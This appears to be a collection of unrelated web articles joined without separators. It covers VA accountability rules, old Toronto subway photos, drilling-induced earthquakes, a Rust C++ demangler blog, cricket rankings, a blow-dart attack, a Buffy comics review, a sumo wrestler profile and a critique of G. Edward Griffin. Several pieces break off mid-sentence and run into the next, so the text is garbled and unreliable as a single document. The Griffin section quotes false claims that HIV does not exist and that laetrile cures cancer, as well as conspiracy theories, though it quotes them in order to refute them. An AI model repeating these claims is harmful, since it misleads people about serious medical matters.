The controversial firing provisions in the new law Congress passed this summer could make recruiting difficult. The 2014 Veterans Access, Choice and Accountability Act, passed in response to several whistleblower allegations that VA employees falsified documents related to patient care, allows the department to fire and demote Senior Executive Service employees immediately, with paychecks getting cut off the day of the termination. The affected executive would then have seven days to issue an appeal to the Merit Systems Protection Board, which in turn would have 21 days for an expedited adjudication. MSPB’s ruling would be final.
Those measures seem to be “misunderstood or misinterpreted,” the secretary said. “It doesn’t allow VA to fire senior leaders without cause, nor does it guarantee that VA senior executives will be fired even if VA is seeking to remove them,” said McDonald. “What the new law does do, it does shorten the time that a senior executive proposed for removal by VA has to appeal VA’s decision. It doesn’t do away with the appeals process, or guarantee VA’s decision will be upheld on appeal.”
The West Point Academy graduate defended the department’s willingness to fire employees engaged in wrongdoing, but pointed out that personnel actions “require a level of respect” for those affected. “I want to make clear, when evidence of wrongdoing is discovered, we will hold employees accountable, and we will take action as quickly as the law and due process allows us to take,” he said. He noted that there are more than 100 ongoing investigations at VA facilities by several federal agencies.
McDonald, who urges VA employees to call him “Bob,” and freely gave out his cell phone number to reporters at Monday’s briefing, has vowed to make the department more transparent, less top-heavy, and more accountable to veterans and the public. “Accountability is more than just personnel actions; we must focus on sustainable accountability,” he said, defining sustainable accountability as ensuring all employees understand how their work supports the VA mission and requiring supervisors to provide daily feedback to workers.
“In that same spirit, we need to do a better job of training our leaders, flattening our hierarchical cultures, encouraging innovation and collaboration from the bottom,” McDonald said. “And we must realistically rate the performance of employees -- everybody can’t possibly be rated the best.” Former VA Secretary Eric Shinseki announced in May that no SES members at the Veterans Health Administration would receive a bonus this year.
The VA structure is “too complicated from the veteran’s standpoint,” McDonald said. For instance, the department has 14 different websites for vets to access services. “That’s just flat wrong,” McDonald said.
McDonald has been touring the country this summer, holding town hall meetings with employees, talking to veterans, union leaders, vets’ advocates and state and local government partners among others. “Everywhere I’ve gone I’ve found VA employees overwhelmingly dedicated to serving our veterans,” said the former CEO of Proctor & Gamble. Still, he also recounted some anecdotes from the “worst of the bureaucracy.” The VA sent a letter to one man, according to his son, asking him if he wanted to participate in VA health care. The man had died 20 years earlier and was buried by the department.For 47 years, Bloor-Yonge has been Toronto's busiest subway station. It's where more than 410,000 people every day race, squeeze, and cram for trains to take them to work then repeat the exercise in reverse in the evening. It's also where a 1960s photographer, armed with a camera and monochrome film stock, captured candid portraits of hundreds of commuters at the end of a busy day.
The black and white 35mm photos were taken during the summer of 1966 by renowned photographer Eric Trussler. In the 1950s, Trussler recorded construction of the Yonge subway line for the TTC on assignment from Canada Pictures Ltd., a photo agency that provided documentary and wire services. He would head back underground for this assignment after forming his own company in 1957.
Though they were intended to record platform crowding, almost 50 years later the photos capture wonderful candid scenes and fashion styles from booming post-war Toronto. These years marked the largest era of mass transit expansion in the city's history, and these riders were reaping the benefits.
Look closely: one man in a loud shirt scoffs dry Corn Flakes as he boards a train; in another, a woman smokes a crafty cigarette with her friends. Two women in separate pictures have the same handbag. Almost everyone reads the Globe, the Star or the Telegram.
Trussler's skill made the mundane beautiful and provides us with a window into a lost world. Here are his pictures from Bloor-Yonge and St. George stations. Let it be noted that they look pretty darn busy even back then, which is, well, kind of scary.
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Chris Bateman is a staff writer at blogTO. Follow him on Twitter at @chrisbateman.
Images: City of Toronto Archives.The potential for man-made quakes "is an important and legitimate concern that must be taken very seriously by regulators and industry," said Jason Bordoff, founding director of the Center on Global Energy Policy at Columbia University.
He said companies and states can reduce the risk by taking such steps as monitoring operations more closely, imposing tighter standards and recycling wastewater from drilling instead of injecting it underground.
A series of government and academic studies over the past few years — including at least two reports released this week alone — has added to the body of evidence implicating the U.S. drilling boom that has created a bounty of jobs and tax revenue over the past decade or so.
Read MoreOklahoma goes from two 3.0 quakes a year to two a day
On Thursday, the U.S. Geological Survey released the first comprehensive maps pinpointing more than a dozen areas in the central and eastern U.S. that have been jolted by quakes that the researchers said were triggered by drilling. The report said man-made quakes tied to industry operations have been on the rise.
Scientists have mainly attributed the spike to the injection of wastewater deep underground, a practice they say can activate dormant faults. Only a few cases of shaking have been blamed on fracking, in which large volumes of water, sand and chemicals are pumped into rock formations to crack them open and free oil or gas.
"The picture is very clear" that wastewater injection can cause faults to move, said USGS geophysicist William Ellsworth.
Until recently, Oklahoma — one of the biggest energy-producing states — had been cautious about linking the spate of quakes to drilling. But the Oklahoma Geological Survey acknowledged earlier this week that it is "very likely" that recent seismic activity was caused by the injection of wastewater into disposal wells.
Earthquake activity in Oklahoma in 2013 was 70 times greater than it was before 2008, state geologists reported. Oklahoma historically recorded an average of 1.5 quakes of magnitude 3 or greater each year. It is now seeing an average of 2.5 such quakes each day, according to geologists.
Angela Spotts, who lives outside Stillwater, Oklahoma, in an area with a number of wastewater disposal wells, said the shaking has damaged her brick home. She pointed to the cracked interior and exterior walls, and windows and kitchen cabinets that are separating from the structure.I wrote a Rust crate to demangle C++ symbols: cpp_demangle. Find it on crates.io and github.
C++ symbols are mangled? Why?
Yes.
Linkers only support C identifiers for symbol names. They don’t have any knowledge of C++’s namespaces, monomorphization of a template function, overloaded functions, etc. That means that the C++ compiler needs to generate C identifier compatible symbols for C++ constructs. This process is called “mangling”, the resulting symbol is a “mangled symbol”, and reconstructing the original C++ name is “demangling”.
Let’s take an overloaded function as a concrete example. Say there are two overloads: one that takes a char* and another that takes an int :
void overloaded ( char * string ) { /*... */ } void overloaded ( int n ) { /*... */ }
Although overloaded is a valid C identifier that the linker could understand, we can’t name both versions of the function overloaded because we need to differentiate them from each other for the linker.
We can see mangling in action if we run nm on the object file:
$ nm -j overloaded.o __Z10overloadedPc __Z10overloadedi
There is some prefixed gunk and then the types of parameters got mangled themselves and appended to the end of the function name: Pc for a pointer to a char, and i for int.
Here is a more complex example:
namespace foo { template < typename T > struct Bar { void some_method ( Bar < T >* one, Bar < T >* two, Bar < T >* three ) { /*... */ } }; } void instantiate () { // Instantiate a Foo<int> and trigger a Foo<int>::some_method // monomorphization. foo :: Bar < int > foo_bar_int ; foo_bar_int. some_method ( & foo_bar_int, & foo_bar_int, & foo_bar_int ); // And do the same for Foo<char*>. foo :: Bar < char *> foo_bar_char ; foo_bar_char. some_method ( & foo_bar_char, & foo_bar_char, & foo_bar_char ); }
This time the mangled symbols are a bit less human readable, and its a bit less obvious where some of the mangled bits even came from:
$ nm -j complex.o __Z11instantiatev __ZN3foo3BarIPcE11some_methodEPS2_S3_S3_ __ZN3foo3BarIiE11some_methodEPS1_S2_S2_
Do compilers have to agree on the mangling format?
If they want code compiled from one compiler to inter-operate with code compiled from another compiler (or even different versions of the same compiler), then yes, they need to agree on names.
These days, almost every C++ compiler uses the Itanium C++ ABI’s name mangling rules. The notable exception is MSVC, which uses a completely different format.
We’ve been looking at the Itanium C++ ABI style mangled names, and that’s what cpp_demangle supports.
Why demangle C++ symbols in Rust?
A few reasons:
I wanted to demangle some C++ symbols for gimli ’s addr2line clone. But I also didn’t want to introduce complexity into the build system for some old C code, nor a dependency on a system library outside of the Rust ecosystem, nor spawn a c++filt subprocess.
Tom Tromey, a GNU hacker and buddy of mine, mentioned that historically, the canonical C++ demangler in libiberty (used by c++filt and gdb ) has had tons of classic C bugs: use-after-free, out-of-bounds array accesses, etc, and that it falls over immediately when faced with a fuzzer. In fact, there were so many of these issues that gdb went so far as to install a signal handler to catch SIGSEGV s during demangling. It “recovered” from the segfaults by longjmp ing out of the signal handler and printing a warning message before moving along and pretending that nothing happened. My ears perked up. Those are the exact kinds of things Rust protects us from at compile time! A robust alternative might actually be a boon not just for the Rust community, but everybody who wants to demangle C++ symbols.
Finally, I was looking for something to kill a little bit of free time.
What I didn’t anticipate was how complicated parsing mangled C++ symbols actually is! The second bullet point should have been a hint. I hadn’t looked to deeply into how C++ symbols are mangled, and I expected simple replacement rules. But if that was the case, why would the canonical demangler have had so many bugs?
What makes demangling C++ symbols difficult?
Maybe I’ve oversold how complicated it is a little bit: it isn’t terribly difficult, its just more difficult than I expected it was going to be. That said, here are some things I didn’t expect.
The grammar is pretty huge, and has to allow encoding all of C++’s expressions, e.g. because of decltype. And its not just the grammar that’s huge, the symbols themselves are too. Here is a pretty big mangled C++ symbol from SpiderMonkey, Firefox’s JavaScript engine:
__ZN7mozilla6detail21VariantImplementationIhLm3EJNS_5TupleIJPN2js12NativeObjectEP8JSObjectNS3_19CrossCompartmentKey18DebuggerObjectKindEEEEEE5matchIRZNS8_14applyToWrappedIN12_GLOBAL__N_128NeedsSweepUnbarrieredFunctorEEEDTclfp_scPS7_LDnEEET_E14WrappedMatcherNS_7VariantIJS7_P8JSStringNS2_IJS5_P8JSScriptEEESA_EEEEEDTcldtfp_5matchcldtfp0_2asISA_EEEEOSI_RT0_
That’s 355 bytes!
And here is its demangled form – even bigger, with a whopping 909 bytes!
decltype(fp.match(fp0.as<mozilla::Tuple<js::NativeObject*, JSObject*, js::CrossCompartmentKey::DebuggerObjectKind> >())) mozilla::detail::VariantImplementation<unsigned char, 3ul, mozilla::Tuple<js::NativeObject*, JSObject*, js::CrossCompartmentKey::DebuggerObjectKind> >::match<decltype(fp(static_cast<JSObject**>(std::nullptr_t))) js::CrossCompartmentKey::applyToWrapped<(anonymous namespace)::NeedsSweepUnbarrieredFunctor>((anonymous namespace)::NeedsSweepUnbarrieredFunctor)::WrappedMatcher&, mozilla::Variant<JSObject*, JSString*, mozilla::Tuple<js::NativeObject*, JSScript*>, mozilla::Tuple<js::NativeObject*, JSObject*, js::CrossCompartmentKey::DebuggerObjectKind> > >((anonymous namespace)::NeedsSweepUnbarrieredFunctor&&, mozilla::Variant<JSObject*, JSString*, mozilla::Tuple<js::NativeObject*, JSScript*>, mozilla::Tuple<js::NativeObject*, JSObject*, js::CrossCompartmentKey::DebuggerObjectKind> >&)
The mangled symbol is smaller than the demangled form because the name mangling algorithm also specifies a symbol compression algorithm:
To minimize the length of external names, we use two mechanisms, a substitution encoding to eliminate repetition of name components, and abbreviations for certain common names. Each non-terminal in the grammar above for which <substitution> appears on the right-hand side is both a source of future substitutions and a candidate for being substituted.
After the first appearance of a type in the mangled symbol, all subsequent references to it must actually be back references pointing to the first appearance. The back references are encoded as S i _ where i is the i + 1th substitutable AST node in an in-order walk of the AST (and S_ is the 0th).
We have to be careful not to mess up the order in which we populate the substitutions table. If we got it wrong, then all the back references will point to the wrong component, and the final output of demangling will be garbage. cpp_demangle uses a handwritten recursive descent parser. This makes it easy to build the substitutions table as we parse the mangled symbol, avoiding a second back reference resolution pass over the AST after parsing. Except there’s a catch: the grammar contains left-recursion, which will cause naive recursive descent parsers to infinitely recurse and blow the stack. Can we transform the grammar to remove the left-recursion? Nope. Although we would parse the exact same set of mangled symbols, the resulting parse tree would be different, invalidating our substitutions table and back references! Instead, we resign ourselves to peeking ahead a character and switching on it.
The compression also means that the demangled symbol can be exponentially larger than the mangled symbol in the worst case! Here is an example that makes it plain:
template < typename T, typename U > struct Pair { T t ; U u ; }; using Pair2 = Pair < int, int > ; using Pair4 = Pair < Pair2, Pair2 > ; using Pair8 = Pair < Pair4, Pair4 > ; using Pair16 = Pair < Pair8, Pair8 > ; using Pair32 = Pair < Pair16, Pair16 > ; using Pair64 = Pair < Pair32, Pair32 > ; using Pair128 = Pair < Pair64, Pair64 > ; using Pair256 = Pair < Pair128, Pair128 > ; using Pair512 = Pair < Pair256, Pair256 > ; void lets_get_exponential ( Pair512 * p ) { /*... */ }
The mangled lets_get_exponential symbol is 91 bytes long:
__Z20lets_get_exponentialP4PairIS_IS_IS_IS_IS_IS_IS_IS_IiiES0_ES1_ES2_ES3_ES4_ES5_ES6_ES7_E
The demangled lets_get_exponential symbol is 5902 bytes long; too big to include here, but you can run that symbol through c++filt to verify it yourself.
The final thing to watch out for with compression and back references is malicious input that creates cycles with the references. If we aren’t checking for and defending against cycles, we could hang indefinitely in the best case, or more likely infinitely recurse and blow the stack.
What’s the implementation status?
The cpp_demangle crate can parse every mangled C++ symbol I’ve thrown at it, and it can demangle them too. However, it doesn’t always match libiberty ’s C++ demangler’s formatting character-for-character. I’m currently in the process of getting all of libiberty ’s C++ demangling tests passing.
Additionally, I’ve been running American Fuzzy Lop (with afl.rs) on cpp_demangle overnight. It found a panic involving unhandled integer overflow, which I fixed. Since then, AFL hasn’t triggered any panics, and its never been able to find a crash (thanks Rust!) so I think cpp_demangle is fairly solid and robust.
If you aren’t too particular about formatting, then cpp_demangle is ready for you right now. If you do care more about formatting, it will be ready for you soon.
What’s next?
Finish getting all the tests in libiberty ’s test suite passing, so cpp_demangle is character-for-character identical with libiberty ’s C++ demangler.
’s test suite passing, so is character-for-character identical with ’s C++ demangler. Add a C API, so that non-Rust projects can use cpp_demangle.
. Add benchmarks and compare performance with libiberty ’s C++ demangler. Make sure cpp_demangle is faster ;-)
’s C++ demangler. Make sure is faster ;-) A couple other things listed in the github issues.
That’s it! See you later, and happy demangling!
Thanks to Tom Tromey for sharing GNU war stories with me, and providing feedback on an early draft of this blog post.India captain Virat Kohli has reclaimed top spot in the latest ICC One Day International (ODI) batsmen rankings.
The 28-year-old overtook South Africa's AB de Villiers and Australia's David Warner in the rankings after displaying some fine form in the Champions Trophy.
With an unbeaten 81 and 76 against Pakistan and South Africa respectively, Kohli is back on top of the rankings for the first time since January with 862 points, leading Warner by just one point.
De Villiers, who held the top spot in March, dropped down two places after some underwhelming performances in the Champions Trophy.
With a total of 20 runs in three matches as his side were knocked out of the tournament, the South African skipper is now in third, trailing Warner by 14 points.
In the bowling department, Josh Hazlewood became the first Australian since Mitchell Starc in October 2015 to top the rankings.
With nine wickets in three Champions Trophy matches, Hazlewood, who has 732 points, now boasts a 14 point lead over second place Imran Tahir while Starc remains in third with 701 points.
Afghanistan's Rashid Khan notably climbed 18 places in seventh with 647 points.
While South Africa exited the Champions Trophy after two losses in three games, they still remain the top-ranked ODI team, leading India and Australia by two points.
However, if India go on to meet England and triumph in the final of the Champions Trophy, they will become the new number one team in ODIs.
Below are the full rankings for batsmen and bowlers:The city’s urban jungle got even wilder when two teenage punks became rooftop snipers and targeted a Brooklyn neighborhood over the weekend — with blow darts, authorities said yesterday.
Three people were wounded by the 15-year-old boys’ bizarre weapon of choice in the frightening, random attacks, police and witnesses said.
“I felt like someone was hunting,” said a stunned Arkadiy Shklyaver, 52, who was hit in the stomach by one of the 3-inch, green-tipped darts allegedly shot by the young suspects on a Bensonhurst street corner at around 7:15 p.m. Sunday.
One suspect, Gustavo Vasquez, was busted last night after cops scouring rooftops walked down to the second floor of a two-story building. They knocked on the door — and the kid appeared and “basically copped to it,” a law-enforcement source said.
His mom agreed to a search of the apartment on 86th Street, and “we recovered additional darts from the kid’s room. No blow gun, though,’’ the source said.
The teen told cops that he had an accomplice, another 15-year-old. Cops were still seeking that suspect, who they said has a criminal past.
Vasquez said his pal had the blow gun.
“He did not provide further reason for why he shot the people or how he or [his alleged accomplice] got hold of the blow gun,” the source said.
Cops said the teens’ three victims, all men, were not together, but were within yards of each other when the shooters left them bruised and bloodied with a barrage of at |
a controversional decision. However, this is undermined by what happened in the very next issue – and proves that even the best plot can be ruined by a stupid follow up – which won’t be spoiled here. Following this, the stories start to take a dip in quality – with several weak storylines coming into play here and there that make the counterpart Angel & Faith Season 9 a heck of a lot superior than the main Buffy series. If not for its strong start, Season 9 would probably be weaker than 8 – but on the whole, this volume, despite its flaws – manages to be a very interesting addition to the Buffyverse in terms of canon. It has its moments, there’s no denying that, but you can’t help but get the feeling that it could have been pulled off a lot better.
The series also introduces the concept of Zompires – which is exactly as awesome as it sounds, crossing the mix of Zombies and Vampire very nicely indeed. The season itself is relatively back to basics after the over-the-top extravaganza of Season 8, and it pays off. Whilst Georges Jeanty is again on artistic duties he does put out a decent showing in this book – much like Season 8, and the end result is pretty much a mixed bag in terms of content. But as the most recent fully completed Buffy the Vampire Slayer Season, 9 is ultimately a great example of showing just how far things have come since the pilot episode and arguably there hasn’t been another series that’s achieved the same sort of success in terms of character development (you could make a valid case for George RR Martin’s A Song of Ice and Fire, however – and I’m sure there are a few more) – making this a good experience if you’re a Buffy fan who wants to see the storyline continue following the end of the show. Whilst Season 8 and 9 may have not quite lived up to the majority of the show (possibly Seasons 1 and 7 aside) they are still entertaining to read and it’s great to see the continuing adventures of Buffy, whatever the medium.
Angel & Faith Season 9
Angel and Faith Season 9 focuses on the titular characters – taking a break from the main Buffy cast, who were whilst present in Season 8, didn’t get as much attention as the rest of the Scooby Gang and it ultimately made sense that these two characters got their own ongoing series as we enter Season 9, meaning that Buffy fans can either pick which adventure to follow depending on their favourite characters, or just follow them both.
Compromising of #1-25, Angel & Faith Season 9 is written by Christos Gage, who is the current writer of Buffy Season 10, so it was the first in-canon Buffy comic series not to be written by Joss Whedon. This Volume contains a major spoiler for the end of Season 8 that is going to be avoided here, but allows for some good fun continuation of the series as Angel and Faith both divert from the main path of the central group, taking both Vampire and Slayer to London. This series itself is canonically a part of Season 9, and as the books go on, we really get the characters fleshed out further and further – Gage captures them wonderfully well and it really was a no brainer why he was given writing duties for Season 10 – he’s one of those writers that deserves a lot more attention yet constantly seems to fly under the radar compared to A-List creators like Brian Michael Bendis and Scott Snyder, (and while that is obvious because the former is working on the main X-Men titles while the former is working on the main Batman title and Gage has no solo ongoing at either of the big two so far) he should be on that level – I’m yet to be disappointed by what Gage has given us so far and Angel & Faith manages to yet again be another wonderful read.
The dynamics between the main characters, Angel and Faith – are pulled off very well indeed. Faith has quickly risen to become one of my favourite characters in the Buffyverse over the course of this series and it’s great to see her and Angel working together very well. Whilst the plot of Angel seeking redemption is somewhat typical and nothing really original, falling into the trap of being a bit too generic at times – it still manages to be mildly entertaining especially when you considered that the artistic team was also exceptional on this book. Like Gage has moved onto Buffy Season 10, so has Rebekah Isaacs, and it’s clear to see why – her artwork is very awesome and she does a much better job than Georges Jeanty as she, along with Dan Jackson and Steve Morris, really help capture the look and feel of the characters, and it’s easily identifiable who’s who – with the dark palette really conveying the theme of the book perfectly.
Conclusion
That’s a wrap then, on the Great Buffy the Vampire Slayer review/catch-up. Phew. That’s a lot of typing, and almost 6.6k words. My favourite episodes of the series have been The Wish, The Gift, Becoming (both parts), Once More With Feeling and Hush, as I’ve already stated before. It’s been an excellent ride through the series and I could have included many more in that list – but I’ve decided to restrict it to these five – with each of these episodes I believe are among the finest that Buffy has to offer.
Disagree with my top 5 episodes and views on the series? Feel free to let me know in the comments below. Now, if you’ll excuse me, I’m going to be moving on to watch Angel.“Tagalog na lang po tayo mag-usap, Ate (Let’s just talk in Tagalog),” came the Facebook message from Kotokuzan Taro, a sumo wrestler we met at Arashio Beya, a sumo stable in the Chuo ward of Tokyo.
Kotokuzan, or Jasper Kenneth Arboladura Terai, is half-Japanese and half-Filipino, born in Makati and raised in Santa Rosa, Laguna, by his grandmother, Malod, while his mother, Catherine, worked in Japan.
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As a boy, Kenneth watched sumo matches on TV in the Philippines, Catherine said: “He used to tell his grandmother that he would become a sumo wrestler when he grew up.”
He never got to know his biological father. Adopted by his stepfather, Yasunori, he moved to Japan when he was 11.
He did not speak a word of Nihongo but took the plunge into the Japanese school system, where he met a big hurdle: kanji.
“Katakana and hiragana were easy enough,” he said. “But kanji was really difficult. I couldn’t read it. Tatay was right. If I couldn’t read kanji, I wouldn’t be able to get into a good high school.”
Yasunori encouraged Kenneth to enter the world of sumo as an alternative and took him to Arashio Beya. “Just see if you like it,” he told Kenneth.
Youngest recruit
For two days, Kenneth stayed with the rikishi (wrestlers), watching them practice and observing their daily life. “I decided I wanted to join them. Mababait po kasi sila. (They were so kind.),” he said.
And that’s what he did after finishing junior high school.
At 5’10” and weighing just 90 kilos, he had a lot of bulking up to do. But, Kenneth said, that wasn’t a problem. “Mahilig po talaga ako kumain. (I really love eating.)”
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But there is so much more to being a sumo wrestler than enjoying calorie-laden meals. Discipline was the bigger challenge, something his stepfather thought he could benefit from.
“Practice was really hard. I was a lot younger than the other wrestlers. They were around 21, I was just 15,” he said.
Mornings started early with intense practice. The wrestlers then would shower, eat, sleep and clean the stable. “We do everything in the beya … we take care of our food, we clean, we wash our clothes,” Kenneth said.
There were regular checkups too, at least three or four times a year, to make sure they stayed healthy despite the weight gain.
Beaten up
Matches were tough, Kenneth said. “Bugbog sarado talaga. (You really get beaten up.)”
Naturally, his mother was worried. “If it were up to me, I wouldn’t let him. I was afraid but if it will give him a better future…” Catherine said.
She recalled the first time she watched Kenneth’s match. “Super shocked, I was scared. But I’m glad he won that match. He gets in a bad mood when he loses. ”
Guests are welcome to watch the morning practice at the stable and because of that, Kenneth and the other wrestlers get to meet a lot of fans and tourists, who usually ask to take photos with them. “I enjoy it. It’s nice hearing from people who encourage us to do better,” he said.
Secret weapon
Eight years since he entered the stable, Kenneth, now 23, weighs 156 kilos and is a lot stronger than he was. At his recent tournament in Nagoya, he won six out of his seven matches.
And he may have a secret weapon: his mother’s cooking.
Traditionally, sumo wrestlers eat a lot of chankonabe, a protein-rich Japanese stew served in massive quantities with rice, to help them pack on the pounds. But Kenneth still prefers his mother’s sinigang.
“Bago ako lumaban, laging Filipino food ang kinakain ko. (Before tournaments, I always eat Filipino food.) Sinigang, nilaga, tinola…”
Catherine would cook up a storm before tournaments, making sure Kenneth and the other wrestlers of Arashio have plenty of Filipino food to enjoy. “They really like adobo and nilaga too,” Kenneth said.
Even Sokokurai, the strongest wrestler of Arashio Stable, is a fan of sinigang. “They like it especially in the winter. They say the soup keeps their body warm,” Catherine said.
But for Kenneth, the best thing about being a sumo wrestler has nothing to do with food.
“I am able to help my family in the Philippines,” Kenneth said. “Napapatuwa ko po sila. (I bring them joy.)”
Good son
Catherine said, “Kenneth is such a good son. He is a very loving brother to his younger sisters Sakura and Momoka, his cousins, aunts, uncles and most especially his grandma.”
Sumo wrestlers practice and train for tournaments all year round but on the rare week he has off, Kenneth likes going home to Yokohama to spend time with his family and friends.
A sumo wrestler can make a good living, Kenneth said, depending on how good he is.
“Pag malakas ka, malaki din yung kinikita (The stronger you are, the more you can earn),” Kenneth said.
Right now, Kenneth holds the rank of makushita, the third highest division in the complex ranking system of the sumo world. He is determined to move up the ranks.
The sekitori, or wrestlers in the top two professional divisions, are quite fond of Kenneth, Catherine said. “He’s a very good boy, very respectful.”
Kenneth’s oyakata, who trains him, thinks his student will get even stronger.
“He may not have started training as early as those who were born here but he just needs to keep practicing,” Catherine said. “I hope he becomes as successful as Takayasu and Mitakeumi. Their mothers are Filipino, too.”
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Follow @pajammy on TwitterOn his Fox News show, Glenn Beck presented author G. Edward Griffin as a credible authority on the Federal Reserve. But Griffin has an extensive history of promoting wild conspiracy theories, including the notions that HIV does not exist and that cancer is a dietary deficiency that can be cured with "an essential food compound."
Griffin Peddles Quack Cancer Remedy He Claims Has Been Covered Up By "Medical Establishment"
Griffin: There's No Such Thing As HIV -- "The Immunodeficiencies Are Caused By The Treatment"
Griffin Film Claims Vapor Trails Left By Jets Are Actually A "Chemtrail/Geo-Engineering Coverup"
Griffin: Goal Of FEMA, DHS During Katrina Response Was "Not To Res[c]ue People, But To Control Them"
Griffin Is "Convinced" That "Oswald Was Not JFK's Assassin"
Griffin's Trutherism: Flight 93 Was Shot Down By U.S Military Fighter
Beck: Griffin Is The Author Of "Fascinating Book On The Fed"
Beck: "[H]ave You Read" Griffin's The Creature From Jekyll Island? "If Not, Read It." From Beck's March 25 Fox News show:
BECK: Tonight, as part of our E4 focus this year, we're going to delve into E2 and get educated on the Fed. G. Edward Griffin, he is author of this book. And if one more person hands me this book -- I -- really, I'm going to snap. Because I get this from so many -- I go out, and people are like, "Have you read this book?" Yes, I have. May I recommend -- have you read this book? If not, read it. It is The Creature from Jekyll Island. It is a fascinating book on the Fed. The author is one of our guests tonight. [Fox News, Glenn Beck, 3/25/11]
Griffin Peddles Quack Cancer Remedy He Claims Has Been Covered Up By "Medical Establishment"
Griffin's "Final Answer" To The "Cancer Riddle" Is "An Essential Food Compound" Called "Vitamin B17" or "Laetrile." From a page on one of Griffin's websites, RealityZone.com, describing his book World Without Cancer: The Story Of Vitamin B17:
Mr. Griffin marshals the evidence that cancer is a deficiency disease -- like scurvy or pellagra -- aggravated by the lack of an essential food compound in modern man's diet. That substance is vitamin B17. In its purified form developed for cancer therapy, it is known as Laetrile. This story is not approved by orthodox medicine. The FDA, the AMA, and The American Cancer Society have labeled it fraud and quackery. Yet the evidence is clear that here, at last, is the final answer to the cancer riddle. [RealityZone.com, accessed 3/26/11]
Griffin: "Orthodox Medicine" Has "Waged War" Against Cure Because Of "Hidden Economic And Power Agenda." From RealityZone.com:
Why has orthodox medicine waged war against this non drug approach? The author contends that the answer is to be found, not in science, but in politics -- and is based upon the hidden economic and power agenda of those who dominate the medical establishment. This is is the most complete and authoritative treatise available on this topic. [RealityZone.com, accessed 3/26/11]
Medical Prof. Lerner: Laetrile Is "Unquestionably The Slickest, Most Sophisticated, And Certainly The Most Remunerative Cancer Quack Promotion In Medical History." From a 1981 journal article by Dr. Irving J. Lerner, who was a clinical associate professor of medicine at the University of Minnesota at the time:
Quack remedies for cancer have thrived outside the fringe of conventional medical therapy since at least the beginning of the nation. In the earlier part of this century, the Koch antitoxins, the Hoxsey method, and particularly the Krebiozen treatments, were just a few of the many promotions that flourished, were then exposed, and eventually abandoned. All prior forms of cancer quackery, however, pale in comparison with the laetrile crusade, unquestionably the slickest, most sophisticated, and certainly the most remunerative cancer quack promotion in medical history. [CA: A Cancer Journal for Clinicians, March/April 1981]
Griffin: There's No Such Thing As HIV -- "The Immunodeficiencies Are Caused By The Treatment"
Griffin: "There Isn't Even Such A Thing As HIV.... The Immunodeficiencies Are Caused By The Treatment." From an October 2010 interview on the "Truth Be Told Radio" show on BlogTalkRadio.com:
GRIFFIN: From the very beginning, I was suspicious about this whole HIV story, and I didn't know in the beginning, but it didn't take long after some serious researchers had gotten into it and published their findings, it became obvious to me. You talk about a wacko theory, here it comes. There isn't even such a thing as HIV. HIV virus, standing for virus, doesn't even exist. It's -- think of what those letters stand for. [...] GRIFFIN: So, that's what it is. It's an immunodeficiency, but there's no virus. The immunodeficiencies are caused by the treatment, the drugs that they give people to try and treat the AIDS. That's what kills the immune system. And what a shocking thought that is, that people who have an immune deficiency, maybe because of some other factor such as nutritional factors -- maybe -- you know, a lot of drug addicts develop this syndrome. Why? Well, we know that a drug addict traditionally has a terrible diet, and the drugs themselves are destructive of the immune system. [...] GRIFFIN: And I'll just say one more thing and then let the real experts take over, is, my understanding is that all these pictures that you can find of the HIV or the virus are artist's renditions. There's never been a photograph, an electron microscope, or anything else that photographed a virus called HIV, mainly because it doesn't exist. It's theorized. It's a theoretical virus. [BlogTalkRadio.com, 10/13/10 (beginning at 22:45)]
Griffin Film Claims Vapor Trails Left By Jets Are Actually A "Chemtrail/Geo-Engineering Coverup"
Film Claims We Are "Being Sprayed With Toxic Substances Without Our Consent" And "They Are Lying To Us About It." From a page on Griffin's site RealityZone.com, describing What in the World Are They Spraying? The Chemtrail/Geo-Engineering Coverup, which was co-produced by Griffin:
By now everyone has seen crisscrossing streaks of white clouds trailing behind jet aircraft, stretching from horizon to horizon, eventually turning the sky into a murky haze. Our innate intelligence tells us these are not mere vapor trails from jet engines, but no one yet has probed the questions: WHO is doing this and WHY. With the release of this video, all of that has changed. Here is the story of a rapidly developing industry called Geo-engineering, driven by scientists, corporations, and governments intent on changing global climate, controlling the weather, and altering the chemical composition of soil and water -- all supposedly for the betterment of mankind. Although officials insist that these programs are only in the discussion phase, evidence is abundant that they have been underway since about 1990 -- and the effect has been devastating to crops, wildlife, and human health. We are being sprayed with toxic substances without our consent and, to add insult to injury, they are lying to us about it. Do not watch this documentary if you have high blood pressure. [RealityZone.com, accessed 3/26/11]
Griffin: Goal Of FEMA, DHS During Katrina Response Was "Not To Res[c]ue People, But To Control Them"
Griffin: "Their Objective Was To Bring The Entire Area Under The Control Of The Federal Government." From an "analysis" by Griffin on another of his websites, FreedomForceInternational.org:
There has been widespread criticism of the response of US officials to Hurricane Katrina in New Orleans in 2005. The tone of these complaints is that the authorities failed to do their job quickly enough. Some commentators have said this is a racial issue, claiming that the government would have acted more promptly if the majority of victims had been white instead of black. Others have said it was an issue of the rich against the poor, the oil companies against the consumers, the land developers and contractors seeking to force people out of the city so they can rebuild without interference at taxpayers' expense. Democrats have said the problem is that Republicans were in control, and Republicans are indifferent to the plight of the common man. In news coverage of this tragedy, the most significant events often were buried beneath a blanket of heart-wrenching stories of personal survival, scenes of awesome destruction, reports of looting, and interviews with experts. However, the key to understanding can be found in the following list of news headlines, most of which did not make it into mainstream coverage. These reports make it clear that the government did not fail to respond in a timely fashion. The problem was that it did respond -- but in such a way as to actually hinder rescue operations. There were too many instances for this to be merely a mistake or a bureaucratic snafu. There is a clear pattern here that cannot be denied. Why this should be so will be discussed in a moment, but first, here is the amazing record. [...] It was clear from the start that the goal of FEMA and Homeland Security was, not to resue [sic] people, but to control them. Their directive was to relocate families and businesses, confiscate property, commandeer goods, direct labor and services, and establish martial law. This is what they have been trained to do. The reason they failed to carry out an effective rescue operation is that this was not their primary mission, and the reason they blocked others from doing so is that any operations not controlled by the central authority are contrary to their directives. Their objective was to bring the entire area under the control of the federal government -- and this they succeeded in doing very well. [...] While the world is preoccupied with trying to fix the blame for the government's failure in New Orleans, the reality is that it did not fail at all. It was a huge success in promoting its own agenda. Unfortunately, that agenda was not to rescue American citizens. Once this simple fact is understood, everything that happened in the wake of Katrina becomes understandable and logical. If there are new terrorist attacks against the United States or Great Britain or any other country, what we witnessed in New Orleans may have been but a fleeting glimpse into the future of global collectivism. [FreedomForceInternational.org, updated 9/30/05]
Griffin Is "Convinced" That "Oswald Was Not JFK's Assassin"
Griffin: "I Am Convinced From The Evidence I Have Seen That Oswald Was Not JFK's Assassin." From an email response by Griffin that he published on FreedomForceInternational.org:
